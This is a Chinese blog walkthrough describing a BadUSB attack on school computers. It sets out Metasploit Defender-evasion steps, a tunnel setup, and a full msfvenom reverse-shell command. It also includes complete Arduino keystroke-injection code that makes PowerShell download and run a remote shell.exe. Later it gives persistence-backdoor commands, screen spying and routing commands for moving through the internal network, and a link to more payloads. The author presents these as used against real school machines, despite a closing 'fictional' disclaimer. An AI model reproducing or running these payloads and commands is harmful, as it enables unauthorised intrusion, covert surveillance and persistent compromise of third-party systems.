携Badusb进校园的系列测试

本文所用到的工具

l Badusb

l Ngrok

l Arduino

l Msfconsole

l Msfvenom

l 迷你相机

蓄谋已久的前言

每次上楼时,都能看见广播室门开得非常宽,

图片1

但这不是重点,重点是里面的电脑(Windows XP),电脑桌面上是LED大屏幕的编辑软件。

image-20230527100239072

二楼有个网络管理箱并由管道内的网线传输到每个教室的多媒体(Windows 10)。

image-20230527100252356

看看兜里的Badusb,突然就散发出了浓浓的香味,哧溜。

俗话说“艺高人胆大”,但吾也要:武艺不高强,菜鸟也先飞!

image-20230527100304344

分析并整理收集到的信息

主机 系统 杀毒软件 网络状态
广播室 Windows XP 不详 不详
多媒体 Windows 10 Defender**、360 正常

而且我们从二楼的网络管理箱分支网线的管道可推断出二楼所有教师的多媒体属于同一内网。我们在烧录代码的时候,就要根据不同的系统版本,网络状态,杀毒软件等因素来进行烧录。为什么说广播室的具体信息我们获取不到呢?因为“可远观,而不可亵玩焉。”

image-20230527100334923

部署Payload及规避模块到Ngrok

首先我们使用规避模块生成一个Windows EXE文件来规避Windwos Defender程序,操作如下:

1
show evasuibd

image-20230527100354377

1
2
3
use windows/windows_defender_exe

show options

image-20230527100506186

接着run 可以看到生成的FILE NAME(文件名是随机的)

当然也可以自定义 Set FILENAME 文件名即可

生成的文件保存到了

/root/.msf4/local/yZdsypg.exe

接下来我们来部署反弹环境

这里来注册一个账户

登录后来到后台页面点击

image-20230527100520777

当然也有免费的隧道,不过网速较慢,根据自己的情况而定!

image-20230527100534238

接着我们点击立即购买,会跳转到隧道配置的页面,如图:

image-20230527100544553

使用ping服务器地址命令,找到IP地址。

image-20230527100556789

接着我们打开刚解压下来的文件夹

输入./sunny clientid 填写你的隧道ID

image-20230527100606509

出现这个界面就代表隧道连接成功!

image-20230527100624124

接着我们用Msfvenom生成可执行文件,代码如下:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=平台给出的IP LPORT=平台给出的端口 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrendMigrate=true PrendMigrateProc=svchost.exe -f exe -o /root/shell.exe

注:如果是64位系统,Payload则更改为:windows/x64/meterpreter/reverse_tcp对于小白很陌生带两个值是可以实现自动迁移进程的功能,关闭其中一进程并不影响另一进程。

-k选项并不适用于所有模板,请提前做好测试。

安装Arduino

首先我们打开arduino安装包

image-20230527100811363

image-20230527100815346

image-20230527100819320

image-20230527100823362

image-20230527100826999

完成了安装。

配置如下:

image-20230527100836501

完成安装。

image-20230527100849268

烧录代码

代码贴出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Keyboard.h>
void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("CMD.EXE /t:01 /k MODE con: cols=16 lines=2");
  delay(1000);
  Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'http://ip/shell.exe';$FILE = ' c:\\SHELL.EXE ';$CLNT.dOWNLOADfILE($URL,$FILE);");
  delay(3000);
  Keyboard.println("C:\\SHELL.EXE&EXIT");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
}

image-20230527100923342

更多代码在文章底部有相关信息,不要着急!

编译好之后我们直接上传即可完成烧录,直接点击上传可以检查编译并上传。

Shell快到碗里来

image-20230527100942749

让基友给我赶烧:

image-20230527101008879

如图:

image-20230527101016985

我们已经获取到了Meterpreter会话,现在我们可以为所欲为了!

为了防止亡羊补牢,要一劳永逸,我们先添加一个持久后门,命令如下:

1
2
3
run persistence -X -i 5 -p 端口 -r IP
或者
run metsvc

第二种方法直接监听即可,具体方法找谷哥和度娘。

image-20230527101110186

附带一张屏幕截图:

screenshot

image-20230527101127573

打开偷窥一下:

image-20230527101137573

内网漫游

image-20230527101147676

查看子网:

1
2
3
4
5
6
7
8
查看子网:
run get_local_subnets
添加路由:
route add 子网 掩码 会话id
查看路由:
route print
自动化添加路由:
load auto_add_route

image-20230527101214707

…….好吧 得退出meterpreter会话,因不可描述因素,就这样吧。

提示得运行一个Post模块,并且添加参数,大家明白就好。

设置完毕后接下来就看自己的操作了,

广播室也被搞定,也是因不可描述规章制度等原因不再继续。

正文到此结束。

总结

1.要提前知晓操作系统。

2.根据不同的系统要构造不同的Payload。

3.采用多种可执行后缀(batexedocx)。

4.获取Shell要第一时间添加后门。

5.不推荐使用Ngrok,自行百度其他平台,但使用方法基本一致。

6.添加完路由如果有网络异常状态,则删除路由条目。

代码以烧录器整理集合如下:

(均来自互联网、适用与否请提前在虚拟机测试)

打开烧录脚本软件,点击文件–打开即可。

提取码:btmz https://pan.baidu.com/s/17UCyKosBkjCRb7IBfxfdPg

注:本文仅供参考,内容仅为虚构,代码以及使用方法切勿使用于非法用途!

原创文章-原文链接

0%